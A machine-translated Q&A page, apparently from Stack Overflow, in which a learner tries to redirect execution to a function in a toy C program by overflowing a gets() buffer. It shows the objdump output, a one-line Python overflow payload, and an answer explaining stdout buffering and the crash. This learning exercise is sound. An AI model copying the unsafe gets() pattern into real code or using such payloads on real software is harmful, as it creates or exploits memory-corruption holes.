在一个简单的C程序中使用gets()来利用Buffer Overflow

Pan*_*der 4 c exploit gets buffer-overflow

我是Buffer Overflow漏洞的新手,我从一个简单的C程序开始.

#include <stdio.h>
#include <strings.h>


void execs(void){
    printf("yay!!");
}

void return_input (void)
{
    char array[30];
    gets(array);
}

int main()
{
    return_input();
    return 0;
}
Run Code Online (Sandbox Code Playgroud)

编译阶段

我通过禁用stack protectoras来编译上面的cc程序:

cc test.c -o test -fno-stack-protector
Run Code Online (Sandbox Code Playgroud)

使用elf文件的转储objdump如下:

0804843b <execs>:
 804843b:   55                      push   %ebp
 804843c:   89 e5                   mov    %esp,%ebp
 804843e:   83 ec 08                sub    $0x8,%esp
 8048441:   83 ec 0c                sub    $0xc,%esp
 8048444:   68 10 85 04 08          push   $0x8048510
 8048449:   e8 b2 fe ff ff          call   8048300 <printf@plt>
 804844e:   83 c4 10                add    $0x10,%esp
 8048451:   90                      nop
 8048452:   c9                      leave  
 8048453:   c3                      ret    

08048454 <return_input>:
 8048454:   55                      push   %ebp
 8048455:   89 e5                   mov    %esp,%ebp
 8048457:   83 ec 28                sub    $0x28,%esp
 804845a:   83 ec 0c                sub    $0xc,%esp
 804845d:   8d 45 da                lea    -0x26(%ebp),%eax
 8048460:   50                      push   %eax
 8048461:   e8 aa fe ff ff          call   8048310 <gets@plt>
 8048466:   83 c4 10                add    $0x10,%esp
 8048469:   90                      nop
 804846a:   c9                      leave  
 804846b:   c3                      ret    

0804846c <main>:
 804846c:   8d 4c 24 04             lea    0x4(%esp),%ecx
 8048470:   83 e4 f0                and    $0xfffffff0,%esp
 8048473:   ff 71 fc                pushl  -0x4(%ecx)
 8048476:   55                      push   %ebp
 8048477:   89 e5                   mov    %esp,%ebp
 8048479:   51                      push   %ecx
 804847a:   83 ec 04                sub    $0x4,%esp
 804847d:   e8 d2 ff ff ff          call   8048454 <return_input>
 8048482:   b8 00 00 00 00          mov    $0x0,%eax
 8048487:   83 c4 04                add    $0x4,%esp
 804848a:   59                      pop    %ecx
 804848b:   5d                      pop    %ebp
 804848c:   8d 61 fc                lea    -0x4(%ecx),%esp
 804848f:   c3                      ret    
Run Code Online (Sandbox Code Playgroud)

所以,为了利用buffer(array),我们需要return_input通过查看转储来查找堆栈帧中分配的字节数,

lea    -0x26(%ebp),%eax
Run Code Online (Sandbox Code Playgroud)

0x26十六进制或大致38十进制.因此,输入为:

38 + 4(随机字符)+(返回高级管理员)

会执行该execs功能.我使用了以下内容:

python -c 'print "a"*42+"\x3b\x84\x04\x08"' | ./test
Run Code Online (Sandbox Code Playgroud)

但输出错误是:

分段故障(核心转储)

当我打开core(核心转储文件)时gdb,我发现在执行以下地址时遇到了分段错误:

0xb76f2300
Run Code Online (Sandbox Code Playgroud)

系统信息:

Ubuntu版本:16.10

内核版本:4.8.0-46-generic

题?

我在代码中做错了什么?

Ant*_*ala 6

我想原因很简单:你没有停止/中止你的程序execs.该地址0xb76f2300在堆栈上,所以我怀疑execs当它尝试返回存储的堆栈指针的值时,它的返回失败.

您没有看到任何消息是因为它stdout行缓冲的,并且您的消息没有换行符,也没有显式刷新它; 因此,yay!!仍然会在缓冲区中.

另外,使用调试器.

  • 由于它是行缓冲的,因此在打印换行符时或在明确询问时会刷新它.正常的程序终止也应该刷新它,但正如您所看到的,程序通常不会终止. (3认同)